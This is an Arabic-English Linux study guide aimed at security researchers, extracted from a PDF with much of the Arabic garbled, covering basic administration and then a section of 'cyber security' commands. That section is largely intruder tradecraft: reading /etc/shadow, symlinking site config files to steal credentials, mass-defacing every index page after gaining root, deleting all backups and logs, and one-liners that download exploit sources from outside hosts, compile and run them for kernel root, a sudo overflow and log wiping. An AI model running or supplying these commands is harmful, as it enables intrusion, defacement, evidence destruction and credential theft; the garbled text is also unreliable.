You are on page 1of 77

CompTIA Linux +

For Cyber Security


‫صفوة لينكس لباحثي األمن السايبراني‬

Author

Anwar Yousef
Cyber Security Researcher
‫املؤلف‬
‫أنور نوسر‬
‫ابحث يف ا ألمن السايرباين‬

1
‫الفهرس ‪Index‬‬
‫(الصفحة‪) 4‬‬ ‫رخصة الكتاب‬

‫(الصفحة‪) 6- 5‬‬ ‫اإلهذاء‬

‫(الصفحة‪) 7‬‬ ‫هقذهة الكاتة‬

‫) الصفحة‪(9- 8‬‬ ‫هذخل إلى ًظام التشغيل ليٌكس‪Introduction‬‬

‫) الصفحة‪(10‬‬ ‫أًَاع الولفات في ليٌكس‪File System‬‬

‫) الصفحة‪(12- 11‬‬ ‫األقراص في ليٌكس‪Partition‬‬

‫) الصفحة‪(18- 13‬‬ ‫الشبکات في ليٌكس‪Network‬‬

‫) الصفحة‪(25- 19‬‬ ‫خذهَى ٍإدارتهن في ليٌكس‪Add Users From System‬‬


‫الوست‬

‫) الصفحة ‪(26‬‬ ‫الوحرر‪Vi Editor‬‬

‫) الصفحة‪(30- 27‬‬ ‫التصاریح‪Chmod‬‬

‫الصفح ‪(34 - 31‬‬


‫ة‬ ‫)‬ ‫إدارة الولفات ٍتحریرها في ليٌكس‪File Editing‬‬

‫‪2‬‬
‫) الصفحة ‪(35‬‬ ‫الطباعة في ليٌكس‪Printing‬‬

‫(الصفحة ‪) 46 - 36‬‬ ‫أٍاهر ليٌكس لباحثي األهي السایبراًي‬

‫) الصفحة‪(76- 47‬‬ ‫اهتحاى‪Comptia linux +‬‬

‫الصفح ‪(53 - 47‬‬


‫ة‬ ‫)‬ ‫‪CompTIA_LX0-101‬‬
‫) الضفحة ‪(62- 54‬‬ ‫‪CompTIA_LX0-102‬‬
‫) الصفحة ‪(69- 63‬‬ ‫‪CompTIA_LX0-103‬‬
‫) الصفحة ‪(76- 70‬‬ ‫‪CompTIA_LX0-104‬‬

‫(الصفحة‪) 77‬‬ ‫الخاتوة‬

‫‪3‬‬
‫"رخصة الكتاب"‬

‫مؤسسة املشاع الإبداعي و َ ْس ُب الـ ُمصنَّف‪ ،‬غري جتاري‪ ،‬منع الاش تقاق‪ 4.0‬رخصة‬
‫)معومية دولية )‬
‫ا َّإن ممارس تك للحقوق املرخَّصة (الـ ُم َّعرفة أأدانه)‪ ،‬تعين قبوكل وموافقتك عىل أأن تكون‬
‫ُملْ َز ًما بأأحاكم ورشوط رخصة املشاع الإبداعي العمومية هذه‪ ،‬و َ ْس ُب الـ ُمصنَّف‪ ،‬غري‬
‫جتاري‪َ ،‬منْع الاش تقاق‪ 4.0‬رخصة معومية دولية "الرخصة العمومية"‪ْ .‬‬
‫ابلقدر اذلي‬
‫يسمح بتفسري هذه الرخصة العمومية كعقد‪ ،‬فاإهك متنح احلقوق املرخَّصة لقاء قبوكل‬
‫هذه ا ألحاكم والرشوط‪ ،‬لام ومينحك املر ِخّص هذه احلقوق لقاء املنافع اليت يتلقاها‬
‫‪.‬من خالل اإاتحة اس تعامل املواد املرخَّصة مبوجب هذه ا ألحاكم و ‪.‬‬
‫الرشوط‬

‫‪4‬‬
‫اإلهداء‬
‫ُ بِىًَ ٰر ػَبىِ ٌِ اىْغَُِ ِ‬
‫ت وَاىشَّهَبدَحِ فَ َُْجِّئُنٌُ ثََِب‬ ‫ُ ۖ َوظَزُسَدُّو َ‬
‫ٔ ػَََيَنُ ٌِ وَ َزظُىهُٓ وَاىْ َُاٍُِِْى َ‬
‫و اػََِيُىا فَعََُسَي اىيَّ ُ‬
‫وَقُ ِ‬
‫مُْزُ ٌِ رَؼََِيُىَُ‬

‫ثطبػزلوالرطُت اىيذظبد بال ثرمسك‪ ..‬وال رطُت‬


‫‪..‬‬ ‫بهلٍ الَطُت اىيُو بال ثشنسك والَطُت اىْهبز بىل‬
‫اِسسح بال ثؼفىك‪ ..‬وال رطُت اجلْخ بال ثسئَزل اهلل جو جالىٔ‬
‫األٍبّخ وّصخ األٍخ‪ ..‬بىل ّيب اىسمحخ وّىز اىؼبملني‬
‫‪..‬‬ ‫‪ ..‬بىل ٍِ ثيغ اىسظبىخ وؤدي‬
‫) ظُدّب حمَد صيً اهلل ػئُ )‬
‫وظيٌ‬

‫َب قدض َب ٍْبزح اىشسائغ‪َ ،‬ب طفيخ مجُيخ حمسوقخ األصبثغ‪ ،‬دصَْخ ػُْبكِ َب ٍدَْخ اىجزىه‪َ ،‬ب وادخ‬
‫ظيُيخ ٍسّ هبب اىسظىه‪ ،‬دصَْخدجبزح اىشىازع‪ ..‬دصَْخ ٍأذُ اجلىاٍغ‪..‬‬
‫) فيعطني)‬

‫فيعطنياىرَِ ضذىا ثدٍبئهٌ يف ظجُو ثُذ املقدض‬


‫‪..‬‬ ‫بىل اىشؼيخ اىيت رْري دزة شؼت‬
‫(شهداء فيعطني)‬

‫ٌٕ املثو‬
‫وؤمثس‪،‬‬
‫بىل األظىد اجلجبثسح‪ ..‬األثطبه اىصبٍدوُ‪ ،‬اىرَِ َؼرثىُ ؤمثس فُصَد مشىسهٌ ؤمثس ‪..‬‬
‫واىشَىر ‪.‬بىل اجلسح اىْبشف يف قيت فيعطني‪ ...‬صربا‬
‫‪..‬‬ ‫األػيً اىرٌ ّزؼيٌ ٍْٔاىصرب واىزذدٌ واىؼْفىاُ‬
‫فإّْب ؤدساز واحلس ال خييف وػدٓ‬

‫‪5‬‬
‫(األظسي)‬
‫بىل زٍص احلت وثيعٌ اىشفبء‬
‫بىل اىقيت اىْبصغ ثبىجُبض‬
‫)اىل واىديت(‬

‫بىل ظْدٌ وقىيت وٍالذٌ ثؼد اهلل‬


‫بىل ٍِ آثسوين ػيً ّفعهٌ‬
‫ػواحلُبح‬
‫بىل ٍِ ػيَىين ً‬
‫بىل ٍِ ؤظهسوا يل ٍب ٕى ؤمجو ٍِ احلُبح‬
‫)بسىيت(‬

‫بىل اىْىز اىرٌ َْري يل دزة اىْجبح‬


‫(واىدٌ)‬
‫بىل األػصاء ػيً اىقيت‬
‫( ؤميِ قبظٌ)‬
‫(ثبظو اىشُزقبظٌ)‬

‫ػشزٔ‬
‫بىل اىرَِ رعنِ صىزٌٕ وؤصىاهتٌ ؤمجو اىيذظبد واألَبً اىيت ا‬
‫)ؤصدقبئٍ(‬

‫فإسربمبب فؼو املشُت‬


‫ؤال ىُذ اىصٍبُ َؼىد َىٍب ٓ‬
‫بىل اىشجنخ األوىل واىسائدح ٍْر اىْشإح شجنخ غضت فيعطني اىيت مبّذ ٍصدز ػص ىنو ثبدث ؤٍِ ظبَرباين فيعطُين ودطَذ مجُغ‬
‫ثبىرمس‬
‫األزقبً اىصؼجخ ػيً ٍداز األػىاً واسص ‪:‬‬
‫‪Colde zero , Ihap pal ,M4st3r , Sas ,,Mohammad Alsadee, OMEGA ,Ibrahrm Kh‬‬
‫‪Ammer , Mohammad Sec‬‬
‫بىل مبفخ جمزَؼبد ؤٍِ املؼيىٍبد اىؼسثُخ وؤفسادٕب ممِ َعؼىُ الّزسّذ وفضبء ؤمثس ؤٍْبً وؤسص‪:‬ثبىرمس‬
‫فسَق فيعطني اإلىنزسوين ‪-‬جمزَغ ىُْنط اىؼسيب –جمزَغ اهلنساألسالقٍ– جمزَغ احلَبَخ اىؼسيب‬
‫جمزَغ األٍِ املؼيىٍبيت –ػسة ظبَرب‪-‬احلَبَخ ىألثد ‪-.‬‬

‫‪6‬‬
7
Introduction
What is Linux?

Linux is an operating system or a kernel. It is distributed under an


open source license. Its functionality list is quite like UNIX.

Who created Linux?

Linux is an operating system or a kernel which germinated as an


idea in the mind of young and bright Linus Torvalds when he was a
computer science student. He used to work on the UNIX OS
(proprietary software) and thought that it needed improvements.

However, when his suggestions were rejected by the designers of


UNIX, he thought of launching an OS which will be receptive to
changes, modifications suggested by its users.

The Lone Kernel & the early days

So Linus devised a Kernel named Linux in 1991. Though he would


need programs like File Manager, Document Editors, Audio -Video
programs to run on it. Something as you have a cone but no ice-
cream on top.

8
As time passed by, he collaborated with other programmers in
places like MIT and applications for Linux started to appear. So
around 1991, a working Linux operating system with some
applications was officially launched, and this was the start of one
of the most loved and open-source OS options available today.

The earlier versions of Linux were not so user-friendly as they were


in use by computer programmers and Linus Torvalds never had it
in mind to commercialize his product.

This definitely curbed the Linux's popularity as other commercially


oriented Operating System Windows got famous. Nonetheless, the
open-source aspect of the Linux operating system made it more
robust.

The benefits of using Linux

Linux now enjoys popularity at its prime, and it's famous among
programmers as well as regular computer users around the world.
Its main benefits are -

It offers a free operating system. You do not have to shell hundreds


of dollars to get the OS like Windows!

9
File System
windows

NTFS , FAT32

Removable Media : FAT , UFAT , FAT32

Linux
1- ext2 : Default file system (Fedora , Redhat , Debin ,16TB) “Linux ,
Mac , Bsd, Win”

2- ext3 : 16TB , ‫أكل ظشغت مً هظشائه‬, ‫اإلايزة الجذًذة غملیة الصخائف‬

3- ext4 : 16TB , Good chose , Multi block allocation , ‫جخضًٍ مجمىغت‬


‫مً البُاهاث‬

4- JFS : 64TB , by IBM , Unix , ‫اظخخذام هظام ألاشجاس الشىائُت لدعشَؼ‬


‫الىصىٌ للملفاث‬

5- Reiser or Reiser FS : ‫ غىغ هظام‬,‫ فهشظت اإلالفاث‬, ‫مضود بالسجالث‬, ‫ال‬


(ext2) ‫جىحذ فهشظت للملفاث غىغ‬

6- XfS : 64 TB , ‫ظشَؼ ومىزىق وٍمىً جىفُز غذة مهام في وكذ واخذ‬

10
Partition
- Root : “ C”Drive in windows .

- Swap : ‫َى معاخت في اللشص الصلب جلىم باظخخذام اإلالفاث الغير‬


‫وشؼت التي حسخذمها اٌسام وحعخخذم غىذ امخالء الزاهشة‬

- Swap Size :‫ًجب أن ًىىن العىاب طػف الشام‬

- Low Ram , Low Disk : 512 MB – 1GB

- Low Ram , High Disk : 1GB – 2GB

- High Ram , Low Disk : 1GB

-High Ram , High Disk : 2GB

- gparted : a program for partition in Linux . (Partition , delete ,


creat , resize ,etc..)

- Pwd : Direction

- whoami : Dr.bug

11
- cd / : root directory

- apt-get install geparted

- sudo apt-get install

- last : show the History

- find*

- du – b (name of the file) , du name ‫إلاػشفت حجم الملفاث‬

12
Network Introduction
- ifconfig

- cd /etc/resolvcof/ : for DNS servers


- /etc/resolv.conf
- ls => cd.. => cd .. : to get home of Menu

- cat resolvconf

- vi resolvconf

Note : resolvconf :
(ip)‫ًلىم بترحمت اظماء الىؼاكاث الى‬
ً
DHCP‫وغمىما ًخم اظخخذام َزا اإلالف مً ػشف‬

- Cat host
- vi hosts

- cat nsswitch.conf

- cd network

13
- cat interfaces

- pwd => hostname => hostname -d

- hostname => hostname -d => hostname -i

- sudo ifup eth0 : to turn on the LAN.

- sudo ifdown eth0 : to turn off the LAN.

- netstat : ‫غشض مػلىماث الاجصاٌ بالشبىت والبروجىهالث واإلاىافز‬

Netstat

- netstat -i : Display Network Interface.


- netstat – r : Display ip routing table.
- netstat – s : statistic protocol (TCP, UDP , ICMP , IPV6)
- netstat -user

14
‫‪Note : for more information about netstat search in Wikipedia.‬‬

‫‪Nslookup‬‬

‫‪DNS , Domain , Hosts Details.‬‬

‫ًشظل اظخفعاساث للمخذماث و‪DNS‬حعخلم الجىاب وحػشض الىخائج‬

‫‪command : nslookup google.com‬‬

‫‪Traceroute‬‬

‫‪sudo apt-get install traceroute‬‬

‫هي أداة حعخخذم خضم ًى دي بي لخىفُز َزٍ الػملُت وهي جظهش اإلاعاس بين‬
‫هظامين وجذسج ول اإلاعاساث ما بين الؼشف ألاوٌ ختى وحهخه النهائُت وجفُذ‬
‫في جدذًذ مىكؼ الهاهش وألاي بي الخا ص به إطافت إلى جدذًذ مشاول‬
‫الاجصاٌ‪.‬‬

‫‪15‬‬
sudo apt-get install mtr google.com

mtr google.com

mtr – t yahoo.com

Traceroute : also for finding firewall ip by another script name or


called (f ping3)
this script try to get response from forbidden ip to get the real ip .

- to get more information about my network click on network in


search bar in above.

DHCP

Dynamic host configuration protocol


‫وَػمل غلى حػُين ألاي بي بشيل جللائي لؤلحهضة اإلاخصلت بالشبىت‬

16
Step 1

the name of this process : ip lease request

1- pc client without ip=> send a request to get the ip

2- 0 . 0 . 0 .0

3- 255.255.255.255 : pc name , network card .

Step 2

the name of this process : ip lease offer

DHCP ‫ًلىم بالشد وٍدخىي غلى غىىان ألاي بي واإلاان ادسط‬

Step 3

the name of this process


‫بػذ اظخالم الجهاص ألاي بي واإلاان ادسط ًلىم بئسظاٌ سظالت ًخبرٍ اهه جم‬
‫اخخُاس أي بي‬

17
‫‪Step 4‬‬

‫ًلىم بالعؤاٌ للخأهُذ غلى اهه جم حػُين أي بي>= ‪DCHP Server => send‬‬

‫ٌػني بأهه فشل ؤلاسظاٌ وَػمل غلى إسظاٌ ػلب أخش ‪unsuccessful ask :‬‬

‫‪18‬‬
Add Users from system setting
Login History

- user

- user add Dr.bug : Permission denied

- sudo bash => Root

- exit

- sudo useradd.dr.bug

- cat /etc/passwd : ‫ملف ًدخىي غلى مػلىماث خىٌ معخخذمين الىظام‬

19
dr.bug : x : 1000 : 1000 : anwaryousef ,,, : /home/abdo:/bin/bash

Explain :

1- dr.bug : user

2- x : pass

3- 1000 : UID ‫خاص باإلاعخخذم‬

4- 1000 : GID ‫خاص باإلاعخخذم‬

5- anwaryousef : username

6- /home/abdo : home direction

7- /bin/bash : shell

- cat /etc/shadow : to show all users password.

- su root => car /etc/shadow

20
drbug : $ : 716FRMY7LRQ9/ YRNACML/ T : 101,42 : O : 9999 : 7 : : :

Explain :

1- drbug : user

2- $ : encrypted sign

3- 716FRMY7LRQ9 : Encrypted password

4- YRNACML : password

5- 101,42 : password update

6- 0 : Minimum pass age : ‫الح د ألادوى لخغير ولمت العش‬

7- 9999 : Maximum pass age : ‫الح د ألاكص ى لخغير ولمت العش‬

8- 7 : alert for changing the password

21
- useradd – D

- sudo passed dr.bug : enter new address

- grep : to search in file or folder

- grep dr.bug /etc/passwd

- grep 100 /etc/group

- sudo adduser anwar

- deluser dr.bug : to remove user “should be a root ”

- sudo groupadd 150

- grep 150 /etc/group

- sudo delgroup 150

- shutdown -k now

22
- shutdown -h now

-shutdown – r now

- shutdown -h

- sudo lshw : to show the pc properties

- ls usb

- ls cpu

- ls mod

- testdisk : ‫الظخػادة اإلالفاث في هظام لُىىغ‬

- umstat – a : ‫لػشض الػملُاث التي حػمل والتي ال حػمل‬

- umstat : ‫لػشض وشاغ غمل ألاحهضة في الىظام‬

23
telnet localhost 53

* telnet : protocol , TCP , UDP

*Note : telnet is unsafe service. => replaced to SSH service

- cd /var/log : to show all logs


- ls

- cat syslog : is a huge logs “please click space to get another pages
from logs ”

- less : ‫معخػشض صفداث‬

- grep error syslog

- grep admin syslog

- less |grep admin syslog

- less |grep kernel syslog

24
ً
- top : ‫الظذغشاض الػملُاث اليشؼت خالُا غلى الخىادم‬

- apt-get install atop


- atop
- touch test : make file
- vi touch : edit file
- cat touch : read the file

25
Vi Editor
1- vi test.txt : to creat a textfile

2- I:to editing

3- escap

4- :

wq : to save the file

- cat test.txt

then type your text

- Ctrl+D

ls / : Root Direction
cp test.txt / : copy

ls -l test.txt : to get details about the file

26
Chmod
1- Owner : u

2- Group : G

3- Others : O

4- Read : R

5- write : W

6- Execute : X

rwxr-xr-x2 dr.bug.drbug 23 Apr 9 : 7 :42 .plan /bin/bash

Explain :

1- rwxr-xr-x2 : file

2- dr.bug : Owner

27
‫‪3- dr.bug : User‬‬

‫‪4- 23 Apr 9 : Date‬‬

‫‪5- bin/bash : Root‬‬

‫‪- drwx-----2 : d = folder‬‬

‫إطافت جصشًذ كشاءة وهخابت للمجمىغت ‪1- chmod g+rw dr.bug :G‬‬

‫إطافت جصشٍذ كشاءة وجىفُز لآلخشًٍ ‪2- chmod o+rx dr.bug :‬‬

‫ال ٌعخؼُػىن اللشاء ة والىخابت والخىفُز ‪َother‬ىا ‪3- chmod o = dr.bug :‬‬

‫َىا إطافت اللشاءة والىخابت والخىفُز للمالً ‪4- chmod v+rwx dr.bug :‬‬

‫َىا إلاًع الخىفُز واللشاءة والىخابت غً آلاخشًٍ ‪5- chmod o -rwx dr.bug :‬‬

‫‪28‬‬
Note : use plus sign (+) to add a permission .

* 4 = Read permission

* 2 = Write permission

* 1 = Execute permission

* 0 = No permission

Example : chmod 755 dr.bug

7 = 4+2+1 (for Owner)

4+1 = 5 (for Groups and others)

- chmod 644 : 4+2 for owner , 4 for groups and others .

- chmod 777 : 4+2+1 for owner , group and others .

- chmod 700 : 4+2+1 for owner , no permission for group and


others.

29
- chmod 722 : 4+2+1 for owner , write for groups and others .

-rw -rw-r-- = chmod 664

-rwx-rwx-rwx = chmod 777


- cp test.txt video/ : to copy any file

30
‫‪File Editing‬‬
‫‪vi test => i=> text => escap=> : =>wq‬‬

‫غىذ خذور خؼأ في اإلادشس وهشٍذ أن وغلم بذون ‪escap=> : => q! => 1q :‬‬
‫خفظ‬

‫‪or‬‬

‫‪escap => : => v‬‬

‫لخدشٍش الىص مً أوٌ العؼش ‪A :‬‬

‫جدذ العؼش الخالي ‪o :‬‬

‫فىق العؼش الخالي ‪O :‬‬

‫ًىللً ألخش ظؼش في اإلالف ‪G :‬‬

‫ًىللً ألوٌ ظؼش في اإلالف ‪g :‬‬

‫ًلىم بىللً ولمت لؤلمام ‪w :‬‬

‫‪31‬‬
‫ًلىم بىللً ولمت للخلف ‪p :‬‬

‫لخدىلل بين الجمل ‪shift+9 :‬‬

‫للخىلل بين البرغشاف ‪{} :‬‬

‫اطغؽ أي سكم زم ظهم ًمين أو ٌعاس للخىلل بين ألاظؼش ‪Note :‬‬

‫لليسخ ‪ :‬هظغؽ غلى سكم غذد ألاظؼش اإلاشاد وسخها زم ‪yy‬وٍظهش باألظفل‬
‫هظغؽ‬

‫‪4 lines yanked‬‬

‫للصم ‪ :‬هظغؽ غلى الخشف‪P‬‬

‫‪: dd‬للخزف‬

‫إرا أسدث مسح ولمت وهخابت غيرَا ‪cc :‬‬

‫للتراحؼ ‪U : undo‬‬

‫‪32‬‬
‫ًلىم بئلغاء التراحؼ وٍأخزن خؼىة لؤلمام ‪Ctrl +v :‬‬

‫أخذ ألاظهم التي غلى الُمين أو الِعاس ‪: v+‬لخدذًذ ظؼش أو اليل‬

‫أخذ ألاظهم التي غلى الُمين أو الِعاس ‪: V+‬لخدذًذ ظؼش أو اليل‬

‫لفخذ هافز أخشي في اإلادشس ‪Ctrl + w +s or Ctrl +w+v : vi‬‬

‫اخذ ألاظهم الػلىي أو العفلي ‪: Ctrl + w +‬للخىلل‬

‫‪h : Backspace‬‬

‫‪j : Move Down‬‬

‫‪k : Move Up‬‬

‫‪w : Move to the next word‬‬

‫‪e : Move to the last word‬‬

‫‪b : Move to the beginning preview‬‬

‫‪33‬‬
Ctrl + f : Scroll forward one page ‫صفدت لؤلمام‬
Ctrl + b : Scroll back on page ‫صفدت للخلف‬

H : Move relative to the top screen

L : same of H command but its move to the last line

34
Printing
sudo apt-get install cups

cd /etc/cups/

ls
cp cupsd.conf cupsd .orig.conf : Permission denied

sudo cp cupsd.conf cupsd.orig.conf

ls

vi cupsd.conf

- Go to the firefox browser and then to

http://localhsot:631/admin
- add printer from printers
- chose your printer and click continue .
- From system Setting in Ubunu Linux go to Printers and chose
your printer to manage its .

35
Linux Commands for cyber security

‫أوامش إظهاس ًىصساث اإلاىكؼ‬


ls -la /etc/valiases
‫او‬
cat /etc/passwd
‫او‬
ls /var/mail
‫او‬
cat /etc/shadow
‫او‬
cat /etc/domainalias

ln -s / etc/passwd w
‫ يسحب لك امللف بملف أسمه‬w

rm angel.php <------‫لحذف ملف‬


rm -r angel<------ ‫لحذف مجلد‬
find angel.php <------‫لعمل بحث عن ملف‬
find *.php <------‫لعمل بحث عن جميع امللفات بهذا الامتداد‬

36
‫أوامر السحب‬
‫‪wget‬‬
‫‪curl -o‬‬
‫‪get‬‬
‫‪lynx –source‬‬

‫‪wget google.com/1.php‬‬

‫غشض آخش ‪ 20‬اظم جم حسجُل دخىلهم ‪last -20 -a :‬‬

‫لػشض مػلىماث الىشنٌ ‪uname -a :‬‬

‫حغُير ؤلاظم ‪mv :‬‬


‫وسخ ملف ‪cp :‬‬
‫وسخ مجلذ ‪cp -R :‬‬
‫إلالف ) ‪ ( link‬إوشاء سابؽ ‪ln :‬‬
‫البدث داخل ملف ‪gerp :‬‬

‫إلاػشفت خالت البىسث ان وان مفخىح ام ال ‪netstat -an|grep 11457‬‬

‫إظهاس الُىصساث بشيل مشجب‬


‫‪awk -F: '{ print $1 }' / etc/passwd | sort‬‬

‫مػشفت البرامج اإلاعخخذمه مً كبل الُىصس والشوث ( مً طمنها اظم بشهامج الاف حي بي)‬
‫"‪ps -o "%u : %U : %p : %a‬‬

‫مػلىماث واملة واخترافُه غً اٌبشوظسعىس مؼ جدذًذ الُىصس اإلاعخخذم للبروظِغ‬


‫‪ps -eo pid,tt,user,fname,tmout,f,wchan‬‬

‫‪37‬‬
‫فلؽ في َزا ألامش اظدبذٌ البروظسعىس لُىصس مػين‬
‫‪ps -U user -u user -N‬‬

‫الُىصساث اإلاخصلين آلان‬


‫‪users‬‬

‫غشض آخش یىصس كام بدسجیل اٌدخىٌ‬


‫‪last‬‬

‫في َزا ألامش اظدبذٌ الُىصس لجلب مػلىماث غً معخخذم مػين‬


‫‪finger user‬‬

‫أمش مػشفت اظماء الُىصس اإلاخصلين بالعيرفش ‪ ..‬وأفػالهم‬


‫‪w‬‬

‫غشض البىسجاث اإلافخىح ة‬


‫‪netstat -lnp --ip‬‬

‫ًيص ئ لً ملف طمً اإلاجلذ ‪touch angel.php‬‬


‫‪ C‬و ‪ C++‬هىمبُلش لل ‪++g :‬‬
‫‪ C‬و ‪ C++‬هىمبُلش لل ‪gcc :‬‬
‫ٌعخخذم للبدث غً ش ئ داخل ملف ‪grep :‬‬
‫لظغؽ ملفاث ‪gzip :‬‬
‫لظغؽ ملفاث ‪gunzip :‬‬
‫إلغالق الىظام ‪haltsys :‬‬
‫لػشض مدخىي آهثر مً ملف مؼ بػع ‪cat :‬‬
‫لخغير الذًٌل الزي اهذ غلُه ‪cd :‬‬
‫لخغير جصشٍذ دخلىٌ ملف مػين ‪chmod :‬‬
‫لخغير مالً ملف مػين ‪chown :‬‬

‫‪38‬‬
‫إلاسح ول الزي غلى الشاشت ‪clear :‬‬
‫إلالاسهت ملفين ‪cmp :‬‬
‫ليسخ اإلالفاث ‪cp :‬‬
‫لدشفير و فً حشفير اإلالفاث ‪crypt :‬‬
‫لخلعُم اإلالف الى غذة ملفاث ‪csplit :‬‬
‫لؼلب جشٍمىاٌ ًىهىغ اخش ‪cu :‬‬
‫‪ xxx‬او معخخذم ‪ root‬يكىٌ لً مً اهذ (ٌػني مً اها ) ًلىٌ لً ‪whoami‬‬
‫إلاسح ملفاث او مجلذاث خالُه ‪rm :‬‬
‫إلاسح مجلذ خالي ‪rmdir :‬‬

‫‪Tap‬‬

‫ٌػشض لً ول اوامش اللُىىغ وفي خاٌ هىذ بالترمىاٌ اطغؽ غلى صس الخاب‬
‫ً‬
‫ومشال اي امش جدب حػشف شى َىوا فلؽ اهخب ألامش وبػذَا َیلب‬
‫مزاٌ ‪rm --help‬‬

‫إلاػشفت حمُؼ ملفاث اظم معخخذم مػين‬


‫‪find /home -user Anwar‬‬

‫إلاػشفت اإلالفاث اللتي جم حػذًلها في خالٌ الـ ‪ 24‬ظاغه‬


‫‪find $HOME -mtime 0‬‬

‫إلاػشفت اإلاعاخه اإلاعخخذمة‬


‫‪df -h‬‬
‫إلاػشفت اإلاعاخه اإلاخبلُه‬
‫‪du‬‬

‫‪ls -m‬‬

‫‪39‬‬
‫ًظهش اإلالفاث مؼ جفشٍلهم بفىاصل بذال مً جفشٍلهم بخاناث‬
‫‪ls -t‬‬
‫ًظهش اإلالفاث خعب جىاسٍخ إوشائها ٌػني مً الجذًذ إلى اللذًم‬
‫‪ls -lu‬‬
‫ًظهش اإلالفاث خعب آخش جاسٍخ صٍاسة لهزٍ اإلالفاث مؼ جبُين َزا الخاسٍخ‬

‫‪ls -F‬‬
‫ًظهش اإلالفاث بأهىاغها خُث‬
‫اإلالفاث اإلاعبىكت ب ‪ /‬غباسة غً مجلذاث‬
‫اإلالفاث اإلاعبىكت ب * غباسة غً ملفاث جىفُزًت‬
‫اإلالفاث اإلاعبىكت ب @ غباسة غً سوابؽ‬

‫‪ls -S‬‬
‫ًظهش اإلالفاث حعلعلُا مً ألاهبر إلى ألاصغش‬

‫‪ls -X‬‬
‫ًظهش اإلالفاث وٍشجبها خعب امخذادَا‬

‫‪ls -r‬‬
‫ًظهش اإلالفاث مشجبت باإلاللىب‬

‫‪cp‬‬
‫ليسخ ملف أو مجلذ‬

‫‪mkdir‬‬
‫إلوشاء مجلذ‬

‫‪mv‬‬
‫لخدىٍل ملف مً مجلذ إلى مجلذ أو إغادة حعمُخه‬
‫مشال‬
‫‪mv angel gnom‬‬

‫‪40‬‬
‫‪ gnom‬إلى ‪ angel‬ساح ٌػُذ حعمُذ اإلاجلذ‬
‫أو‬
‫‪mv angel.php /ho me/hackteach/publi c_htm l/cc/test‬‬

‫یلىم بخدىیل اإلالف مً اإلاجلذ اٌر ي َى فُه إلى اإلاجلذ الجذًذ‬

‫‪ln -sf / home / user / public_html / vb / in clude s / c onfig . php conf.txt‬‬

‫ساح ًجُب لً وسخـت مً ملف الىىهفم جبؼ الُىصس اإلادذد في اإلالف الجذًذ‬
‫‪conf.txt‬‬
‫‪,, symLink‬أمش الخصىٌ غلى العُم لىً‬

‫أمش إلاػشفت الُىصس اللي معتهلً أهبر معاخه‬


‫‪du -s / home | sort -rn‬‬
‫) ‪ home‬بذون معافه بػذ ‪ /‬و (‬

‫لػمل ماط دًفيط بػذ اخز الشوث‬


‫هىد‪PHP‬‬
‫‪find / -name "index.*" -exec cp /t mp/index.htm‬‬

‫أوامش إظهاس باظىسداث الس ي باهل في خالت هىذ سوث‬

‫‪find / -name service.pwd‬‬


‫أو‬
‫‪cat / home/*/public_html/_vti_pvt/service.pwd‬‬

‫أو‬

‫) ‪ home‬و ‪ var‬الجيس ى جدزف اإلاعافاث كبل (‪cat / var/cpanel/accounting.log‬‬

‫‪41‬‬
‫خزف ملف اللىغى‬
rm -rf / tmp/logs

‫أمش كشائت ملف الىىهفُج غلى العيرفش‬


cat / usr/local/apache/conf/httpd.conf

‫ أمش غشض اإلالفاث‬Suid ( ‫) ملفاث مً كبل الشوث لىً ٌعخؼُؼ الُىصس حشغُلها‬
find / -type f -perm -04000 -ls

777 ‫أوامش غشض اإلاجلذاث اإلاصشح لها جصشٍذ‬


find / -perm -2 -ls
find / -type d -perm 0777 | xargs ls -alld
find / -type d -pem -2 -ls

‫أمش خزف حمُؼ البان آب اإلاىحىدٍ غلى العيرفش‬


find / -name "cpbackup*" -exec rm {} ;
find / -name "backup*" -exec rm {} ;

‫أمش إظدبذاٌ حمُؼ ؤلاهذهعاث إلى ؤلاهذهغ اإلاىحىد غلى اإلاعاس الخالي‬
find / -name "index.*" -exec cp index.htm {} ;
find / -name "default.*" -exec cp index.htm {} ;

42
nobody‫) ليي ال ٌشً الُىصس ( أمش حػذًل صالخُاث ؤلاهذهعاث إلى‬
find / -name "index.*" -exec chown 99 index.html {} ;
find / -name "default.*" -exec chown 99 index.html {} ;

System log‫أمش غشض‬


cat / etc/syslog.conf

‫أمش غشض مػلىماث غً الزاهشة‬


cat / proc/meminfo

(php)ٌ‫والعُف مىد وغيرَا أمش حػذًل دوا‬


pico / usr/local/lib/php.ini

‫أمش غشض البىسجاث اإلافخىخه‬


netstat -atup | grep IST

ٌ‫أمش غشض آخش إجصا‬


lastlog

‫أمش غشض الُىصساث اإلاخصلة‬


w

etc‫أمش غشض اإلالفاث اللتي جشٍذ الىخابه غليها في مجلذ‬


find / etc/ -type f -perm -o+w 2> / dev/null

43
wget‫أمش غشض أوامش السخب اإلافػله هـ‬
which wget curl w3m lynx

CPUINFO ‫أمش غشض مػلىماث غً اإلاػالج‬


cat / proc/version / proc/cpuinfo

‫أمش غشض معاخاث الهاسددطن‬


du

gcc ‫أمش الخأهذ مً وحىد اإلاترحم‬


locate gcc

Wipelogs ‫للخػذًل غلى الىغى غً ػشٍم‬


wget No Results Found Packet Storm | gcc zap2.c -o zap2 | ./zap2

ٌ‫أمش جىفُز بػع الهجماث غلى الىيرها‬

wget http://ftp.powernet.com.tr/supermail/debug/k3 | ./k3 1 | ./k3 2 | ./k3 3


| ./k3 4 | ./k3 5

( sudo)‫( غً ػشٍم‬stack overflow)‫إظخخذام سغشة‬


wget http://precision-gaming.com/sudo.c | gcc sudo.c -o sudosploit |
./sudosploit

44
‫أمش جشبُذ سوث هذ إلصذاس‪2.6‬‬
‫‪wget twofaced.org | gcc linux2-6-all.c -o linuxkernel | ./linuxkernel‬‬

‫أمش اظخخذام ظىشبذ ‪Mig LogCleaner‬‬


‫‪wget twofaced.org | gcc -DLINUX -WALL mig-logcleaner.c -o migl | ./migl -u‬‬
‫‪root 0‬‬

‫أمش إلاػشفت اإلالفاث واإلاجلذاث اللتي جم حػذًلها في خالٌ الُىم‬


‫‪find / -mtime x‬‬
‫) ‪ mmin‬للبدث في الذكائم ‪ ..‬لُصلح ‪ min‬إلى ‪ time‬مالخظٌ ‪ :‬اظدبذٌ (‬

‫أمش إلاػشفت اإلالفاث واإلاجلذاث اللتي جم حػذًل خصائصها ( هـ اإلالىُه(‬


‫‪find / -ctime x‬‬

‫لىً ٌعخؼُؼ الُىصس جىفُزَا ‪ root‬للبدث غً اإلالفاث التي ًملىها‬


‫‪find / -perm +4000 -user root‬‬

‫لىً ٌعخؼُؼ الُىصس الىخابه غليها ‪ root‬للبدث غً اإلالفاث اللتي مالىها‬


